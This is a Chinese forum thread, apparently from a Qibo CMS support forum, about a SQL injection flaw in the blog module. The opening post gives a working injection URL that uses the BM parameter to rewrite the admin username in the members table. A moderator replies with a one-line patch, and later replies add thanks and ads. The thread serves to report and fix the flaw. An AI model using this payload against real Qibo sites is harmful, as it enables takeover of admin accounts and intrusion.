中电云集是国内领先的云服务器、虚拟主机、服务器租用提供商

【推荐】11年品牌 华夏名网齐博专用PHP主机 送2G数据库 免费备案

上一主题下一主题
主题 : 齐博博客漏洞真的是的希望官方修复
UID: 139277
级别: 齐博高中生
发帖: 754
威望: 791 点
积分: 66 个
铜板: 2
精华风格度: 0 点
在线时间: 1724 小时
注册时间: 2008-11-04
最后登录: 2017-08-06
楼主  发表于: 2015-12-26 23:32

齐博博客漏洞真的是的希望官方修复

http://www.wooyun.org/bugs/wooyun-2015-096449


http://127.0.0.1/blog/index.php?file=viewmusic&uid=1%27&id=1&BM[music_song]=qb_members%20set%20username=concat(0x32,0x31)%20where%20uid=1%20%23

本地测试确实修改了admin账号和密码

UID: 243423
级别: 齐博超管
发帖: 10751
威望: 11089 点
积分: 24066 个
铜板: 7350
精华风格度: 1 点
在线时间: 11997 小时
注册时间: 2010-10-01
最后登录: 2017-08-16
沙发  发表于: 2015-12-27 09:19

请修改文件/inc/common.inc.php查找第一处的
unset(
换成

unset($BM,
个性签名:www.sinmeng.net
UID: 181106
级别: 齐博硕士
发帖: 3519
威望: 3777 点
积分: 29390 个
铜板: 54
精华风格度: 0 点
在线时间: 10052 小时
注册时间: 2009-08-13
最后登录: 2017-08-16
板凳  发表于: 2015-12-27 10:52

支持一下
*****************************************
*       签名档欠费,点击续费!          *
*****************************************
个性签名:客户就是上帝

UID: 249589
级别: 齐博版主
发帖: 11387
威望: 14938 点
积分: 56531218 个
铜板: 1012
精华风格度: 1 点
在线时间: 5710 小时
注册时间: 2011-04-25
最后登录: 2017-08-16
3楼  发表于: 2015-12-27 21:32

  
引用
→承接仿站、模板制作、整站建设、网站推广等网站业务 非诚心勿扰
→承接SEO、网站修改、二次开发、数据采集等网络业务
→QQ:191698811 工作室网站:对点工作室
→齐博最活跃数据采集群:74771734 工作室淘宝店
→提供各种API接口制作、对接等业务WWW.CQPS.NET
→模板制作、网站修改、请选择版主不然有可能被骗 齐博视频教程1元
个性签名:手机南召圈nanzhao1.cn
UID: 15409
级别: 齐博初中生
发帖: 221
威望: 251 点
积分: 392 个
铜板: 1
精华风格度: 0 点
在线时间: 225 小时
注册时间: 2006-08-17
最后登录: 2017-08-13
4楼  发表于: 2017-07-13 10:49

回 1楼(齐博) 的帖子

我的v7经常被黑,已经加了$BM,看效果了。
*****************************************
*       签名档欠费,点击续费!          *
*****************************************
齐博软件技术交流区 » BUG反馈
承接网站制作等业务QQ191698811 以铜板换广告位二 以铜板换广告位三 以铜板换广告位四
以铜板换广告位五 以铜板换广告位六 以铜板换广告位七 以铜板换广告位八
以铜板换广告位九 以铜板换广告位十 以铜板换广告位十一 以铜板换广告位十二
打造最专业的门户系统建站程序